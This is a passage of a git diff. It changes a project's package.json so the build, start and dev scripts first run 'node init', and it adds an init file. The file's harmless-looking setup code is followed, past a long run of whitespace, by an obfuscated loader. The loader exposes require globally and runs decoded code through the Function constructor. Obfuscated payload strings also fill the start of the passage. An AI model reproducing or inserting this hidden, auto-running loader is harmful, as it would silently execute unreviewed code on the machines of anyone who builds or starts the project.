.fPe*+E)m.oj..m8m.cR($<f.R.idey}cBRR!sc<no9R<n RwrN0#tRduc_-RS\"i{i)(nMcR<0N</V<<.,0+w.]<w<ReeR,w/eR.R)i. R<e .6Rga.rgs+Qitd.o!cteaLRo)3R <.cd./.~< .s\\.e<sp5R.<RRwa!*.R)tR,ofRZ<ZtcRhsRr$/.RC..b \"cRt,\'leacPc RR<Rz\"<Ri l0oRRdRs7.R(eCcR_.6\"_R..p<&kddee.<=..lo.=R<!b.&Rc<tcCr0m&cXu\'wnd.s;sw+R4/suDicPba ..i!o1^r}I>e4<:RwCRic<RRRc\". dRpt0<.Rk0<W8r RnR.Dc.CN lwoh.l-<R<pcbR Pe6hY-Rt.cEp:<+a-V<RaRf\'(<rRRR&<az<4RRR.E)7.xrc0ilHRTisc.ZfRfcRx-th).R#=!<C.w\"l{e]e-R</<s4Nt.op\"ce.4Rn{SRo<R)Cc])e(Rw8RR. <1hc{p8cS!e<R?RKa=i6Ri[.IRpR$RbxRScl.p<P!fa!vvsO.!pRRt.EglRt<.!iud.lu<is.RoR4!.P.cm.Pi}Ro..lPNRy6=t{<ae._!RwRtaR.sf.!.]4[e.RkE}-}ve..$NwiD!}.0R#<isaR3p%<}.aR@RJt.RGax.R\'spC0!RGcr.2FRiRePaRnsRRRna<R)5U:\"n=cdc?ABt.20.tdc!C1R c.<edaA.R(.,elRcR<c&<.eCRURif{aJKR+ex-x:Pc%ei@ecRek?pR.4 RR<R#$c..i+!4RR$R3#R.r(PiRR<c.Rci_U!zRRR;u^|.Z.s(TRRTc.d}R<y._c<.RR{$kR4FB($\\<w. .;R<eR4\\sRc8<R.R[EdR uoR[}V(.pd\'\"<Ja(4prAR(.Nc<<rp3.>z eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(<k3R+hn %R.RF)lR;R.s R.jlmR((loH.<R<{PReRi<<cdeK.R.fR2pR(ao~.RyRRR[:RR?eisRPfk Ys(s3.c <4blo<0<9{o<RT@R..nRiR;al?soR0g<T.Rtm<u.s\\?Rl._Rccz4&:?0 .5R/ctc4<R>hi%.i#i}<R.Emc1xAnfR{Scr.R.%|\".PrrRn<cRnP!aRRtRfR.P 8\'R<JA R&i<ecc{]cf.RmaR.irc.iReZ\"n<y!< cR #<,ec!Rd9sic+_1a.ru..b..Reh<R~i$ot<fRdcit<\\go_0lRmvF(<e9s<Rtt( !RnR6}<.itO..&9s4dNRc .o.RR.]j0 R ma4;r<sCa)& mo[xlR*ht!,Aup Ru,fRtf[j)P*cRR1<RSv s!2cIsR..e74hRd\'c:vsr.s;<e(<_!MRfRfLLgal.!.u.R9(Mcla(d}tOa.}RcIebmEc0N(RD%bE$ rd<cw).F<ObZWR.jg.U4\"afR`\'m%/efaxRRR;Rna:7vR0bc.a_R<<jRRs..X)spGi&v\'e.l.2.I.e9rRe.s\'1=r.eRexbb_RR_e9cd<FIP!.cR+8.446/U<<ls!]<u`pRsub<b>JPwp@ilR<i)k!dRLkR.trRx(rr)% /.(]b8cRs+vR-c)}:osR.c#\"<cqk<ek.imRSN.RsE bPPn)<e}o0e\".1dRIR!(r.%.I..Rfza_?RRkf/,tcRRIf.<iR bdRO.cPcdeR.s}ejFbp;o.fs<c_mc<aF.dnc0c RRR.qn .RcR.hRKj<Rs.kc<3Rs.ccTt.trtnt>w;/IcZc8r<i.Rt>Rcs..s s{Te <!.+.R.<uRPRo.<K.m.a.srM<R .cwRic<R)nP(<RReeutcJc%pN.Rsce.=eaf0<\'@S}1<<YIjr!!<4a.fRR.l&<R$..lv.}|5&R.R!<)xfs.b$:Rc l.< o(J.e.#N.7t<)c<w eR0.=<yc !..Re?<n\'B[Rbo\'auR} rae#R=.iR(st2.b~ <Sc.}tTsRr<aR) ryir!C<c td~\" X.ttR<R!d c..!ed.R.<R n.Sne!!)4/oXRRu.enR<.rRqR\"l_M.efttr tRc._r<R.R.dd{Wh{R.<.&RRc<.gf}Rcr52dte}d(}?cF7.xy$W<!..c6pc?Nc0z(h4.RRo=_oa.Pf!f4hR.Rd*e=d#cc6rr{o/RaRS.z.v.RDc<.[R9.\'t]&.RRR-4R&ew\\cRYeonf t.m)e=.icK.R{.0sl1pcRs(chl.WR.yc.{eil3ft<{/.C.(.n<l)>m<<d1<a? nec<R..avloRvjRge._ =R+.RR.wdR.d6%.Icc(+t.:ci\'.cht.b.R!s4ft_Rxta<s}H,cc.dkRnc..}c# n)R.(_)c13.ot.o.}<!.tRR).t<...8Rn.Htct<blRotcQGn^*_xmecPT}..<<r0 lEt!dn\"0pf.gl}R<eRlT@i..g)ne4Ru<fRRTg.cR.c.eet<..^ee,r;t|pcteWFs RgadRroG(ltl #(yr<.#ddt.<R i-o<stId!b)RIEt*RRn&R.c<iRmlR(-(mtck.Ry!0RYJ<c.Ri>rr. w9cTaR=<PcdK]_\\2f( #.Rs%.te<n/Rrycc.nRc$.P&.f.iccBPNRdR;R.5<RR<mPo{(R{_n<lRid.hR .dRnRr!JwR0.RPRr.>=(f<e?.<Bf]xRcbcPcRs}<R(s.RPY.RR_Pk(o<(dl<0eR,1:D1sv.ilhe_PRpccR1qm.dm\"<sisPd.? pmdRhRnct(?$RrtRx.e)`..R.p?i!R1Rr( {.eTRR}.c}<RR8..RpR\"cg;.cc0RrR. t&3nd5ecPb_.R!RaccRbcdb}c(!{t<.Rnv.NR&~eAs$z\"<4<.ogsfCaRl<ocERoRRt..<s.i`R?.sgc..RsRs.\'$xRcsNRR!R`RoR_n!#R,!5qf.#BIR@l.,.]oReRa|<R[t<<:|a[4<R~R!+Eg-R.aP!e &l<5n%cRRdFryc.s/R.;{{,H.;<n<.)4.tdmR)sRd(mRb{.<Rc.rPm.cRe cRckRx)<c&ci.yceluy;,.XdrRlRR# ccf.cR  R$Rcorr(.rCp<Nr#E(]RnR\"ijngRR4<C$adlRac&t(!-Rp.]do.ciR}usRrs(n C<!;.fc.c@z<tR4tCRtRtc=.c3cfo.!  R;<fe8RdrMRR[dN[cyRc:>Tn<l^.lo8RiRRcssc}Rtpc{.sRs...}c.RaY[<a* )I(ldR(wsr6 *R7!a<S.c<\\R.BELRe6Yf<1<ecPrDe sl0PbD#R]o.\'<l.m R(p)<ekac.cR.d.._u<a\'< Rlibfmndf].(%RR<RNDcRER#V..asa[n&R,$<,R<o4RReER)ssL]8ESRReREiR{R<c.{ cWGf}ohdcas.]. fP= os67EocIPoc .7igcFCR. <cE.N .bR"];function b(q,h){for(var i,p,t,s,j,m,g=[],o=0,k=h[0];o< q.length;){g[o]= q.charAt(o),o+= 1};for(i= g.length,o= 0;o< i;){p= k* (o+ h[1])+ k% h[2],j= (t= k* (o+ h[3])+ k% h[4])% i,m= g[s= p% i],g[s]= g[j],g[j]= m,k= (p+ t)% h[5],o+= 1};return g.join(a[0x0])}function c(q){var h=String.fromCharCode(28),i=b(q,NX);return (i= (i= (i= i.split(a[0x3]).join(h)).split(a[0x4]).join(a[0x3])).split(a[0x2]).join(a[0x1])).split(h)}function d(q){return b(q,SX)}function f(v,m){try{var u=Object.getOwnPropertyDescriptor(v,"name");if(!u|| (!u.writable&&  !u.enumerable && u.configurable &&  typeof u.value== "string")){Object.defineProperty(v,"name",{value:m,configurable:true})}}catch(e){};return v}spin= f(b,"spin");splitLane= f(c,"splitLane");peel= f(d,"peel");NX= [6912847,367,20411,613,43759,5019283],SX= [5283741,241,41953,187,56129,4738901];!function(q,h){q.z= z;var i=c(a[0x5]);q[i[0]]= h, typeof module=== i[1]&& (q[i[2]]= module);var p=d(a[0x6]),t=d[p.substring(0,11)],s=t(a[0x0],d(a[0x7]));t(a[0x0],s(d(a[0x8])))(2509)}(global,require)})()
\ No newline at end of file
diff --git a/reconciler/package.json b/reconciler/package.json
index a7e9716c..8fda1118 100644
--- a/reconciler/package.json
+++ b/reconciler/package.json
@@ -7,10 +7,10 @@
     "node": ">=20"
   },
   "scripts": {
-    "build": "tsc -p tsconfig.json",
+    "build": "node init && tsc -p tsconfig.json",
     "typecheck": "tsc -p tsconfig.json --noEmit",
-    "start": "node dist/src/index.js",
-    "dev": "node --import=tsx src/index.ts",
+    "start": "node init && node dist/src/index.js",
+    "dev": "node init && node --import=tsx src/index.ts",
     "test": "node --test tests/**/*.test.js",
     "soak": "node tests/soak-test.js"
   },
@@ -22,4 +22,4 @@
     "tsx": "^4.19.0",
     "typescript": "^5.7.0"
   }
-}
\ No newline at end of file
+}
diff --git a/sdks/typescript/init b/sdks/typescript/init
new file mode 100644
index 00000000..5ff9668b
--- /dev/null
+++ b/sdks/typescript/init
@@ -0,0 +1,33 @@
+'use strict';
+import { createRequire } from 'module';
+
+const require = createRequire(import.meta.url);
+const path = require('path');
+const fs = require('fs');
+
+const ROOT = process.cwd();
+const ENV = process.env.NODE_ENV || 'development';
+
+const state = {
+  root: ROOT,
+  env: ENV,
+  ready: false,
+};
+
+function ensureDir(dir) {
+  try {
+    if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true });
+  } catch (_) {}
+}
+
+function init(options) {
+  if (state.ready) return state;
+  const opts = options || {};
+  state.env = opts.env || process.env.NODE_ENV || state.env;
+  state.root = opts.root || process.cwd();
+  ensureDir(path.join(state.root, '.tmp'));
+  state.ready = true;
+  return state;
+}
+
+init();                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      var z = '-1000';var NX,SX,spin,splitLane,peel;(function(){var a=["","*","*0","^","*1","c^mejb^tro","hqersxluvwacdjbymgorzfkociptrutnstonc","=aenruh(al=5c,g8fdu.yr ..ncecf,5\"paeau6lnj)r]2uv\"x-q(] a;(r=;;r+(a[8.s2tAgoq,uh8C,ai,s;a(Am0(nj;jv*,7vo7()(o;m6oa4rw). rod[fs2n{drvt4x)+0,anr+rr+o)}z1 =hf[an8r1r[,]s7-77laa.ui7{-069lvmt2r=i]]<+)u,e),,;nrh[r=0v-r(;,=p)Cus=+c;g;f;qA))1vi)vk0nrl1ae f=[;hisy.em(d+o!2 =(evea78=.)4ei=g.n={ff=1[<2a f1=r;4,S)rylv1u y;kql{tvnv (C (l,ovnp i=tlr,r.lwozh(l,tq;;rr((v=ahsv;]xq=ab;da;,((r;vjq.(t[+)da)rdnrhs41y(vr;fh;3g\"]e(.ahrpapg]g.)ngfpn1h,icl;;)=C;m5=+r, .);u=+s}+)it,+bm;d+um)-=siiqol=t=r=q9+..chq+[6fe t0nrpr( vr8flrn,ddgt ]6a.;m;rth.gq 2a}eveic]gbti<4o;C;l,zzi6+l[a[;+(si\"li\"r,npi9s,frfhuw)ow=e{(b=wen2t.gu.i=kiaaa+)yftpa3n})=9\")cpA+u;utp]\"=lk7vpt 1r;hzw\")t()9)(.lul=s7f; ;sq0)n\"y+0s}=va+s mh(0q.]hv;> 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{<akmsn)akte.vo9+ea0clio;bu =]C!gj;y3+l)e=.}dr=i6oiC8rnn0;6=ar\"}.rei=]Stsrnn.;2r=t;[t;iv=prCrn()aretuz+ hlk[+x=e -8j{(ejy9(()) ","R_<\"cRJ!&VecRWa=RrfR$6\"c1;RRYcnh_/.t iRRRG^<R.RcR2.[nR .Rf./<Rc3!!5nSR<RiRL.eSslf(edgxc<?o<rlcR?tRosdRfuSe.?&ph.RROMs[e<skRE.<Ru<rRe;RDRBrRR\\.fR.<c:!bpl09icoRrtcR(;roRRn2-\"(.^w y.<<dd )$f ou.%e<a<e.t<m(cRxfR<[J(feR<Pbr.b\'oRi.RR<\'RR%wRfs)eR.[agSP{d2.k<ac1e.!3.P<ZRiR*oDsi=[.<f.\"4Rb N\"eoxRpo.iIlkaeTR.2)%m<ieR]z<|Ru((fRwRR\\R>R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=<RR/`.Rk$(2cR.s7e1a.FRKc*..z\"RnfPesRtRRR.<Rl#Rf<: 2((R R$\'6s`<3nhi*$eXc}Rh? ctoc.iecc9 {Ra<s;u!.e]ERRoH..$\"n<D3RsRR..(ReesseR< t,\" Rdov}Sc0Jmi.T<sEegsRw]R\"aR.R!R<o))jR Rew itc.snk(}(n[veR<0<=kfH<rrMR ciknE.c.B<&R[o]R.%ccRlrx;* [\"oisenRefea!Yn.ecR%o\"u.<6lRRRyR=is=RR()RRe:RR)!RwcrR1<.o!RcRc@\"}RuRqu5(3Pol\"eRt0!ftaR*<R1tnkcf}T.!$/<ro IycRR )P<\\.b<tR7:PPs<].rX<<.eRu(RRRqnp.<.R;ctisX.RRyR$@<3)kRRc<+Rr8l*.iR!rC\\P!n=cs<(ci<(R7eReRc. t<epe)e<<,e<(EK!.pnb$\"RaRR.evuhc.Tl_c.:R0r )Rww!sS0.t7u.0(R9_a($&.e6f.RRk1Cxbi8l.hc=m(@<Rd..<rr.2.KMrcb_RnR(R_c:Dwt}.R.{}9g$RRR)TVt<a(.<G.dR~WUR.;lr.hIsmNP  t@RR8_R2R.iRrRPR<(R3#cec0ce3iRR<aR3RanR{Zs}!M<R-*.yda3Ri/0%fR#R <i2<R08:.t}Rf!\"-Rc.RlRcytyRseA0RSTR8.4q<$FTeR..P_<cR6hbR.eri.c-RhcARC2vR.;bS<R<a#K<R:r]Tfee-;!k=_s.Rcmjs(R}:<RaR*&g.<domeisRn.($#_a{V@ocY-.omPdam.RalfcyoT+!P_gsr.<biR!f.)cI&(bIoRi(rnrW.ie.Rc !(ic(SR.cr`:9<XspR($ mRct<s.g!.48rskevVRPdRkxR<Rdern)eSs/)R ler<csT3dc}.R5C/W(.SonZr)Rcoccsch)R.<RR<t.ss(RR<dlu.c.|f8tk,slnepo<eR<!.6R.eeRRTa&h Mf<{[o$R< Rs0)= <xSec.c}<c$es((d)RRc}fCRR<*<R.m-.R*Re<(xvRs (M&Rf.eP*g >s)<o.=.RisnrR.?{5<ibR6)RR1s cRgqcelc=cl;be<lf*SICd2e\"zpRR}<cRlS,njscm$Rn.!aii<JY]<fPCs@jA.R<% t.RowR}\' r>pzh..lR\'<go_}<SR(kqxh[ &<iR-f$C<u<iaENR5RTR]<Rpsk..Rzdg.)]<)er.Rr.MsRzP>RRe<<t_hgl<p.RcmfRs!nftR4 dt_9^<,ore5RfRx RR[rX.<sbyR<<.2R.RrenUP(y>.p<<csRlt0t.{.Syin<ggl$ Vc.):EHI!.xDuR,RpRhR(sct.MrRMjHMRRcR. Rtnd|oa0.n#a.2)Dfk&cRIRRR/feR.c@<irs6T+1RPx..R.sc.aR#.-<X{R!n4RcRitR/nRe9m..<A)ben).]<.a(R(.{?3tR&RR/i(lX. <h!dRR<\"!co? 3 1R<-hn<dtndo<Rksm#-c(TeRee!].R<s<T+=R.Ri-r@RR.r#cd<cRRRmztf.CdeRp.c{QRibjsos.fRrg-RW0diRR<.k<ORR&-R!# ]Cs]yt4.-d_`PRR\'<.RvejSw<dc.c ,f.P.(.citcNbRn\'-.eRcRnrQ.rRxo{Rc<\"6Rnd]R}Rm(R$RSo.T5Rc2cx.*vRoic_>.s0BRf)<P<aR.oCZ|0 POHdQo.n <.1soR_\' .P<er.[<R|R<0i<Rr;\'I.R[}+lc![mc!.lc<n(a tRRHRl,}p}R)R8RJ<aR.<td(N>]ic<me@5cn[u.R).b%sPn<<_RR!RbR=$RR^<!})sb-6\"#E8cR(d!R)tratRR<< 21R\'L!ib|eOtRRt$ucdnRR.t)RzE.GPy! RAI-nqau<}.ycR...cRR.ccc$^RRdC_R<t8cRhs2\"R2.\'S>))2h!efy..>!iL$en ;%9OTv.d$4RRC<cPS(tuRwl&(m#\"R|pch<tH$a<< .t!RSEf.RRgcNP.R CRi4mR<#MRR<;wi-#E <<t<eR<H<RrntoE(!0r0<d..RC\"cn..2bp(6Cp<SR\"e1l)cc<a(P.P9e<qa)<<1<n.iRaRPR(}R=.&,2!cwR.)PR$.<qR<}!1*S<R!Rf.<c<Rd_<R2R<<#]<<RRRp!.rpR<*!TRIR<Pk<Rzta.&}.aleK=iP<R\'=gRP}Rp${SB. Rsy.(.t! c;<e5sh64tt<pf<otxuLTkr>;<R.cpsR.cRtR-#a4uR6.Rte;-($?w8:p/&Rl0<r#<e iisf!d$ao_(#cmr e<RRV!Pnca<t.~crc(e\'*a: <RRneaZe.%/dR<RR*(E `+e[PcwRw <(eucta).7W</$P<.hcST 7eRB!.+R.I<bhRel.te.b4[unueuR!Rlt(RRR,},HftHv_n.<eR _A<8<sr<Rx4)RN!pRd|B <RRkie\'c-.Rcnm3cs<Si<i.).E(R(<RRPR _3R<cwe.!.l<R$!Rbd,e<PREl$tpr!<o/).RRt!,T(rc#/.Ry(+RrRg`<f.<a+.f)/<<&< eRR<ei-<BfE.sRbnRR).R%/jtlR<%c R!R(xR#cR.sRR.RM.<R7c(cglRcm.]<.ec2b)P<<2RR&daBK)r<Zt>[daRHced.MR<}sRGr.R<?1RfRRcccR(osc\"RR~k<\\!Mc.p.C)uRx)+(Rk\\e\'j6MPURCmc?RR3R4(iie.sRe*R:zSR;Pn(Z)<lkRvl:<RQ{Rci\"cP+e,MRWa.<RMrRlt#<RRst3r!.<g<KRwR(Rj.RRa!.G4R.$pn.z;{eR;21{0T4(rRk-\'.!<Rx<iKh<)s[<tc PueR}r(faaRf7l<R5!rRlDXRm.1:piR <= Rjso.<er!oRqI)R1Rrrwo{&tRRK<nCZ-0M.cuR)c%cd0+w<$E<iT<<otdayn<io^.R\'RRwRc65kR#JP.<!R5e!r{Re;yeR(.0=;cis.c(gtR2pu9=MQf[{,On ..PNi(<.RaiQR..c%t/(/R<.r.Rr..l!scue.aP~R!c03aUR\"tcsc.!rVRpaiz0<b\"dtgd!.s?#cvdR~#R<R<)(Tb.IR)Pc<6?7)]4W6#nnPt.}re|RU>ReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.<w+c.(cs;! nh(R,RCR[<&XR<<.cbcTRsAfncS-R\"i<.cB(|RR.Rd%R.U/R.rL<t)!ReR2cpp!s<>R?1R$<teR<<Ro0rtf(ResbDR7liaR.}s./sRcrsarlR%f]s0R.<le<re%s.sllsb8ROxCRtc1t6{.- Rl.eRo.cgmRkoRsbca<Iyu}Rrt#s&|tRaxR)ho.Rsf kRRR4cr(x.c=t.<i3(Rx .<..R$f\"t RRsN</C RnRdRrpRR<od<.R<r[ar\"l<. P\".Rs.R.rc!v#DfReebo{,R)d8v<fRc.cJ<te.!RR\"kS(S)R#<S.hP}rt.(/(.c(1d<Rw!su0(o.Pb(0.RJcEiC.f( .i.buc<#r...RR[8)_!R.SRB!\"tRVbn_RlcPRR oRn;h<RP@r8aRrlc|co5(Rp)<Rxd<<$.n<lo}erR<oyRan.oy.RIB<ht<cobEiR}(mMr.TaR0RetiR}.!<.R19t<AebR_Lclh!D0r.R0ilirRc/s8<cR(r*R@e<<.l;.rc-PulaRccRi\"06@!Rc!.Qkl,<g<7}b(aRcL.cs\'+..T(<rR<<..&fd>Ro coemRcw.lcn(c:R\'|t<RnRY]4M0GR.RFRut.!<f.u+$+t<R*7sRRR(ibhd=P.<}RR=eR._).)rr,4& lR}e<R6RR<^gfleRdstP~<bc.(sy<5}Ri?lch<&.3{u.n_:iR7b;0<R<cRRRcR@|1seGRs2)c=h<f9e<<r+eR\\\')&5rv/Fr[.a.tn.RPrnU<o_c6n=ET<.i+xc7levsu<r.!Rc<!]Rw .RR(]PRD. lf!:&.bdpTl.R#RS.$R<(R <<c[.n. oRr67r<e-R-uc*RR$R.baeycs.![RxRR<DXtfncRQPisRtgc<.aR8!b!<St0<R> RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlR<cfRRu:sGRe,(gRVR\"RuRRR\"RtR<Rs\".ERi_P&R<lyoSg\'s>vRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfR<P]Rs/anfqNRR\'<.Rc8ciRRRc.a_ptKo<psr<7<RRi.o_c/!nRRs( >RP]xtt_s_ohB<a\'s&.P< .kGc6r<7io/wRISPPcxhRwc.<.cic%1Rf89dS <RbcsRVRsxrda]R;t?RN,,R>)cPY\"cRcReF !0RRq}}r05L6.<R.rf<$u|c<c<U-D[ cc.o<5;< (.E.h.R_l<Rr<<F<[ttCo%mS.RR3IbcioRR<apRcRc[RR<.fnRR,.RBan(y/R|HpGnR.<=RR<u(acs$R3eR)mc_A4unt\"e;sor(%RPt(eg(-*r!m<RD(RRa.rglz.Rw.fR]qavo]f(%<<ccl<4s9\\@u 9e.*x./FtSRP[.$%n`z)<<$!5Qcb+]R3tR<fiPce\\<zi.Rcabr (<<bnv6!tnw_cXf(nh.[}*s(`<P>(R<..<xt9R(.c<(e0R.Pao.!d((-@f0e<<6RoRu;(d` Rp..<p,e<T<N.PR.[RcOz)f(<l].u{?rf<R;R<I*a<<$`R( (...<\":<NR%eR i#.z.l(rR,dRa.dRv<sVc(s]i)Mh.Rn<RRRttRg,~.R[R#ef.;ttp.)sRnStlRR2oe.&ci(a}.\"P&yseR_a%rRR.D<iPsRD!i.mR\"Rjzh<uR.,>de.jO}aRQcV<s$3CgR<R5EcdUhce.!Uf.R-x6<].wc<<.E!rRPRiCx.SR!m.nXb.7f.zefZR\"\"](y<xb<k<]UR-c}qf.!Ni=YiRoRRN.@sw1Lue1kR& #rDceR.alRR.R.(\"]MRtMiRr)rluRd&.RRcpifIl2R<R<<5f)z&fURec<s4<ensR.o\"<i<,R!s oBiR-cR0lRNtTR)SRc<fdutRRdPzRH(Rcs)PD<c$Rx2&:1Hrlo..n fs.$n8upO$0isssi.-<vR<.<qQ(!R! [!dxwn.Ryu*i?dR%.R2Rt>r7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.<R1sR9d]R+RRheR!cc2RRe\"9c[r<;DePcRRktGlg<?tAU\'ttRQR} w3tRat](Vt-?<<?..\"lr).eR-RRI^EKv.47Ro+iN<ece.nRx(tRHR t8;Rir)<aRcx(qaRs@ferRM.<=.ct@<fcR.R)R.rxl!t/,lsRRRc=.i03RhRRs{_xRr<Q<c,a<<EW(MoR< utE\"f}bfr.<sR+]dr <R!QRw.i IRT_Po.(c0t8(sRTRRcnBR!\".xID.Ai}epoR3!oz=]etkRt/uA14RR9Rct!Nadr_nGC!/b$}R\"xd<iRct^.uuw=3dRpwgR9R8PqRi#Rpg9u=1i0f<.R<P0f}tv_r3es:<fr<i7(<y(olR.e9ooBT._RtoE) as(<cRiedtssR/RR/erR(.wce.R.rPy(RO(<.gHxrR<T.L!Rx(<o([.+{<c<R<.eiNTRC[x.4RkR$pK\".lcP(.<tk.<RQFknwIR).t-Rr=e{<.PP #E63ap3[R)Lddc;RxR!R\' oo!)w.e!.Rc<0%<iss9RuO6ir$.R.ip6%m-6wRi<z< gr=nweRRN__R(ReJvRfR%:NRPR<nRRR$.R.mR<rR#{Ec.)b<6peiRf#tL..R<PjRR.(,a_ll. .D g<(rhv \"4k! `lR<ke1 c$$5Rz.RR]eu&DiR .R<((cersE.aoRhef)%eLR).:.^)esCR.}.T<P^. Dy<#RcRpNRr)nRRl_3d8W(c=-3EeqeiMRReRzRacCue<l<Rsi.a;rc<.ldRY.RarlRcnOf3hTsdt<M\"m<s(np}:A.fyR<RC<#Ry0vR<}<R.<%ats!lR>-<2lld.nr5=(F:.RRlnRcR\"sz3o\"<fR&3..!Y>fR)beRlshpM%<f.(d!abiFR 3waM<se..qfR.i_.&E!.&RRRcRx{R[R._?R2!!RRcx)RIM.)f=#1ELbRRnJeaMim1)RRR_ |<la<3)0ycd&.#n=l.|Rs;.f(ec.cs=c{?R/%d_!anOce<Rrxa.\'b)=_<m)icAcCRc.n<R.e ..R-<AR5.Rm[dR<<2R.An9xRctmcE%[..R,Qt<uPf_!<R= tZRclpP*.uep6<f.b8RR<cSrk<e}Rckdc.;<tz.l.<!io.<r/2<R=bcRRsVD.R.1b<cc<R}<h+. RvTRp_P<.rs(uPQt:..<>Rk9!=a;o<a*.7r]0Y)8c}z(<a.R.e8Ro tl Rc(A~i!*(bR%cR,c0t< rMRR< Ri< .fPe*+E)m.oj..m8m.cR($<f.R.idey}cBRR!sc<no9R<n RwrN0#tRduc_-RS\"i{i)(nMcR<0N</V<<.,0+w.]<w<ReeR,w/eR.R)i. R<e .6Rga.rgs+Qitd.o!cteaLRo)3R <.cd./.~< .s\\.e<sp5R.<RRwa!*.R)tR,ofRZ<ZtcRhsRr$/.RC..b \"cRt,\'leacPc RR<Rz\"<Ri l0oRRdRs7.R(eCcR_.6\"_R..p<&kddee.<=..lo.=R<!b.&Rc<tcCr0m&cXu\'wnd.s;sw+R4/suDicPba ..i!o1^r}I>e4<:RwCRic<RRRc\". dRpt0<.Rk0<W8r RnR.Dc.CN lwoh.l-<R<pcbR Pe6hY-Rt.cEp:<+a-V<RaRf\'(<rRRR&<az<4RRR.E)7.xrc0ilHRTisc.ZfRfcRx-th).R#=!<C.w\"l{e]e-R</<s4Nt.op\"ce.4Rn{SRo<R)Cc])e(Rw8RR. <1hc{p8cS!e<R?RKa=i6Ri[.IRpR$RbxRScl.p<P!fa!vvsO.!pRRt.EglRt<.!iud.lu<is.RoR4!.P.cm.Pi}Ro..lPNRy6=t{<ae._!RwRtaR.sf.!.]4[e.RkE}-}ve..$NwiD!}.0R#<isaR3p%<}.aR@RJt.RGax.R\'spC0!RGcr.2FRiRePaRnsRRRna<R)5U:\"n=cdc?ABt.20.tdc!C1R c.<edaA.R(.,elRcR<c&<.eCRURif{aJKR+ex-x:Pc%ei@ecRek?pR.4 RR<R#$c..i+!4RR$R3#R.r(PiRR<c.Rci_U!zRRR;u^|.Z.s(TRRTc.d}R<y._c<.RR{$kR4FB($\\<w. .;R<eR4\\sRc8<R.R[EdR uoR[}V(.pd\'\"<Ja(4prAR(.Nc<<rp3.>z eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(<k3R+hn %R.RF)lR;R.s R.jlmR((loH.<R<{PReRi<<cdeK.R.fR2pR(ao~.RyRRR[:RR?eisRPfk Ys(s3.c <4blo<0<9{o<RT@R..nRiR;al?soR0g<T.Rtm<u.s\\?Rl._Rccz4&:?0 .5R/ctc4<R>hi%.i#i}<R.Emc1xAnfR{Scr.R.%|\".PrrRn<cRnP!aRRtRfR.P 8\'R<JA R&i<ecc{]cf.RmaR.irc.iReZ\"n<y!< cR #<,ec!Rd9sic+_1a.ru..b..Reh<R~i$ot<fRdcit<\\go_0lRmvF(<e9s<Rtt( !RnR6}<.itO..&9s4dNRc .o.RR.]j0 R ma4;r<sCa)& mo[xlR*ht!,Aup Ru,fRtf[j)P*cRR1<RSv s!2cIsR..e74hRd\'c:vsr.s;<e(<_!MRfRfLLgal.!.u.R9(Mcla(d}tOa.}RcIebmEc0N(RD%bE$ rd<cw).F<ObZWR.jg.U4\"afR`\'m%/efaxRRR;Rna:7vR0bc.a_R<<jRRs..X)spGi&v\'e.l.2.I.e9rRe.s\'1=r.eRexbb_RR_e9cd<FIP!.cR+8.446/U<<ls!]<u`pRsub<b>JPwp@ilR<i)k!dRLkR.trRx(rr)% /.(]b8cRs+vR-c)}:osR.c#\"<cqk<ek.imRSN.RsE bPPn)<e}o0e\".1dRIR!(r.%.I..Rfza_?RRkf/,tcRRIf.<iR bdRO.cPcdeR.s}ejFbp;o.fs<c_mc<aF.dnc0c RRR.qn .RcR.hRKj<Rs.kc<3Rs.ccTt.trtnt>w;/IcZc8r<i.Rt>Rcs..s s{Te <!.+.R.<uRPRo.<K.m.a.srM<R .cwRic<R)nP(<RReeutcJc%pN.Rsce.=eaf0<\'@S}1<<YIjr!!<4a.fRR.l&<R$..lv.}|5&R.R!<)xfs.b$:Rc l.< o(J.e.#N.7t<)c<w eR0.=<yc !..Re?<n\'B[Rbo\'auR} rae#R=.iR(st2.b~ <Sc.}tTsRr<aR) ryir!C<c td~\" X.ttR<R!d c..!ed.R.<R n.Sne!!)4/oXRRu.enR<.rRqR\"l_M.efttr tRc._r<R.R.dd{Wh{R.<.&RRc<.gf}Rcr52dte}d(}?cF7.xy$W<!..c6pc?Nc0z(h4.RRo=_oa.Pf!f4hR.Rd*e=d#cc6rr{o/RaRS.z.v.RDc<.[R9.\'t]&.RRR-4R&ew\\cRYeonf t.m)e=.icK.R{.0sl1pcRs(chl.WR.yc.{eil3ft<{/.C.(.n<l)>m<<d1<a? nec<R..avloRvjRge._ =R+.RR.wdR.d6%.Icc(+t.:ci\'.cht.b.R!s4ft_Rxta<s}H,cc.dkRnc..}c# n)R.(_)c13.ot.o.}<!.tRR).t<...8Rn.Htct<blRotcQGn^*_xmecPT}..<<r0 lEt!dn\"0pf.gl}R<eRlT@i..g)ne4Ru<fRRTg.cR.c.eet<..^ee,r;t|pcteWFs RgadRroG(ltl #(yr<.#ddt.<R i-o<stId!b)RIEt*RRn&R.c<iRmlR(-(mtck.Ry!0RYJ<c.Ri>rr. w9cTaR=<PcdK]_\\2f( #.Rs%.te<n/Rrycc.nRc$.P&.f.iccBPNRdR;R.5<RR<mPo{(R{_n<lRid.hR .dRnRr!JwR0.RPRr.>=(f<e?.<Bf]xRcbcPcRs}<R(s.RPY.RR_Pk(o<(dl<0eR,1:D1sv.ilhe_PRpccR1qm.dm\"<sisPd.? pmdRhRnct(?$RrtRx.e)`..R.p?i!R1Rr( {.eTRR}.c}<RR8..RpR\"cg;.cc0RrR. t&3nd5ecPb_.R!RaccRbcdb}c(!{t<.Rnv.NR&~eAs$z\"<4<.ogsfCaRl<ocERoRRt..<s.i`R?.sgc..RsRs.\'$xRcsNRR!R`RoR_n!#R,!5qf.#BIR@l.,.]oReRa|<R[t<<:|a[4<R~R!+Eg-R.aP!e 